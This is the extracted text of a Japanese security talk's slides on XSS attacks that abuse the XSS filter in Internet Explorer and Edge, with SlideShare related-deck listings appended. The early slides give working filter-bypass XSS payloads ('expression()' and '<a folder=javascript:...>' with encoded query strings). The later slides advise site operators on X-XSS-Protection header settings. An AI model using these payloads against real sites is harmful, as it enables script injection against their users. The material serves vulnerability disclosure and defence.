さてこれで…
遮断後
Bypass 1: expression()
<p style=v:expression&#x28;alert&#x28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0
A%0A%0A%0Ab%0A%0A%0As:
Bypass 2: <a folder>
https://html5sec.org/#36
<a folder="javascript:alert(1)"
style="behavior:url(#default#Anch
orClick)">Click</a>
以下で javascript: へのリンク作成が可能
(要IE8以下のドキュメントモード)
Thanks, Mario!:)
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0
Ab%0A%0A%0A%0A%0As:
<a folder="jav&bx41;script:alert(1)"
style="behavior:url&bx28;#default#AnchorClic
k)"s:>Click
遮断前
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0
Ab%0A%0A%0A%0A%0As:
<a folder="jav&#x41;script:alert(1)"
style="behavior:url&#x28;#default#AnchorClic
k)"s:>Click
できあがったリンクをクリックすると…
遮断後
Bypass 2: <a folder>
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0
Ab%0A%0A%0A%0A%0As:
<a folder="jav&#x41;script:alert(1)"
style="behavior:url&#x28;#default#AnchorClic
k)"s:>Click
できあがったリンクをクリックすると…
遮断後
http://l0.cm/xxn/
全ての手法を試せるページ
紹介しきれなかったものも含む
Overcome the
Nightmare
X-XSS-Protectionヘッダ
値 効果
0 無効
1
有効
(部分的書き換え)
1;mode=block
有効
(表示の完全な停止)
デフォルト
XSS保護機能を制御できるレスポンスヘッダ
デフォルトが部分的書き換え
問題箇所以外ページを変化させないで遮断
開発者にとってありがたい話のようにみえる
でもこの動作こそ
➡サイト管理者はどうすべき?
紹介した手法のような攻撃の可能性をもたらす
Y
慎重な彼らはどうしている?
HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
...
より安全を考えた選択
値 選択すべきサイト
0
基本的なXSSは対応している
/誤検知をなくしたい
1
推奨しない
(この手法の影響を受けるのもココ)
1;mode
=block
XSSがまだありそう
/念のため保護も受けたい
default
X-XSS-Protection:0 か 1;mode=block
mode=blockなら安全?
直接スクリプト実行に繋がることはないはず
フィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できれば
ページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で
何もつけない選択がしたい?
なら、次のことをしてください!
これができるなら
そもそも普通のXSS脆弱性作りこまないだろ!
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
実のところ
意図的に誤検知を生じさせて、
特定の機能を動作させないよ
うにすることも、場合によっ
ては可能です。(略) XSSフィ
ルタの作者が、この種の危険
性を認識しつつもXSSフィル
タを導入したのか(あるいは
そうではないのか)、ちょっ
と興味があります。
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
T.Teradaの日記より
http://d.hatena.ne.jp/teracc/2
0090622
実のところ
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The answer is
Yes. " だそうです。
はせがわさんのはて
なブックマークの
コメントより
➡慎重になるならヘッダをつけるべきなのは
今に始まったことではない!
さいごに
まだ安全側に倒す余地はあるはず
デフォルト動作が今のままで本当にいいのか
遮断の原理上、リスクはつきもの
Web開発者はその可能性を知ってほしい
デフォルト動作以外で制御することを強く推奨
XSSフィルターの改善には期待したい
";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com
http://l0.cm/xxn/DEMO

Contenu connexe

Tendances

【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
Hibino Hisashi
 
ゴリラテスト モバイルゲームのUIを自動的に検出・操作する モンキーテスト
ゴリラテスト  モバイルゲームのUIを自動的に検出・操作する モンキーテストゴリラテスト  モバイルゲームのUIを自動的に検出・操作する モンキーテスト
ゴリラテスト モバイルゲームのUIを自動的に検出・操作する モンキーテスト
KLab Inc. / Tech
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
abend_cve_9999_0001
 

Tendances (20)

セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
 
ソーシャルゲームのためのデータベース設計
ソーシャルゲームのためのデータベース設計ソーシャルゲームのためのデータベース設計
ソーシャルゲームのためのデータベース設計
 
MCC CTF講習会 pwn編
MCC CTF講習会 pwn編MCC CTF講習会 pwn編
MCC CTF講習会 pwn編
 
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
 
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
【第26回Elasticsearch勉強会】Logstashとともに振り返る、やっちまった事例ごった煮
 
GitLab から GitLab に移行したときの思い出
GitLab から GitLab に移行したときの思い出GitLab から GitLab に移行したときの思い出
GitLab から GitLab に移行したときの思い出
 
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
 
Cumulus Linuxを導入したワケ
Cumulus Linuxを導入したワケCumulus Linuxを導入したワケ
Cumulus Linuxを導入したワケ
 
backlogsでもCI/CDする夢を見る
backlogsでもCI/CDする夢を見るbacklogsでもCI/CDする夢を見る
backlogsでもCI/CDする夢を見る
 
Use After Free 脆弱性攻撃を試す
Use After Free 脆弱性攻撃を試すUse After Free 脆弱性攻撃を試す
Use After Free 脆弱性攻撃を試す
 
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
 
マイクロにしすぎた結果がこれだよ!
マイクロにしすぎた結果がこれだよ!マイクロにしすぎた結果がこれだよ!
マイクロにしすぎた結果がこれだよ!
 
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
 
ゴリラテスト モバイルゲームのUIを自動的に検出・操作する モンキーテスト
ゴリラテスト  モバイルゲームのUIを自動的に検出・操作する モンキーテストゴリラテスト  モバイルゲームのUIを自動的に検出・操作する モンキーテスト
ゴリラテスト モバイルゲームのUIを自動的に検出・操作する モンキーテスト
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
 
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルドBuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
 
SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介SSE4.2の文字列処理命令の紹介
SSE4.2の文字列処理命令の紹介
 
技術記事を書く&楽しむチームの作り方
技術記事を書く&楽しむチームの作り方技術記事を書く&楽しむチームの作り方
技術記事を書く&楽しむチームの作り方
 
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
 

Similaire à X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~

体系的に学ばないXSSの話
体系的に学ばないXSSの話体系的に学ばないXSSの話
体系的に学ばないXSSの話
Yutaka Maehira
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
 

Similaire à X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~ (9)

体系的に学ばないXSSの話
体系的に学ばないXSSの話体系的に学ばないXSSの話
体系的に学ばないXSSの話
 
XSSについて.pdf
XSSについて.pdfXSSについて.pdf
XSSについて.pdf
 
CSP Lv.2の話
CSP Lv.2の話CSP Lv.2の話
CSP Lv.2の話
 
ブラウザとWebサーバとXSSの話@Shibuya.xss
ブラウザとWebサーバとXSSの話@Shibuya.xssブラウザとWebサーバとXSSの話@Shibuya.xss
ブラウザとWebサーバとXSSの話@Shibuya.xss
 
次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)
 
XSSの傾向と対策
XSSの傾向と対策XSSの傾向と対策
XSSの傾向と対策
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
(A7)cross site scripting
(A7)cross site scripting(A7)cross site scripting
(A7)cross site scripting
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
 

Dernier

Dernier (7)

Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 

X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~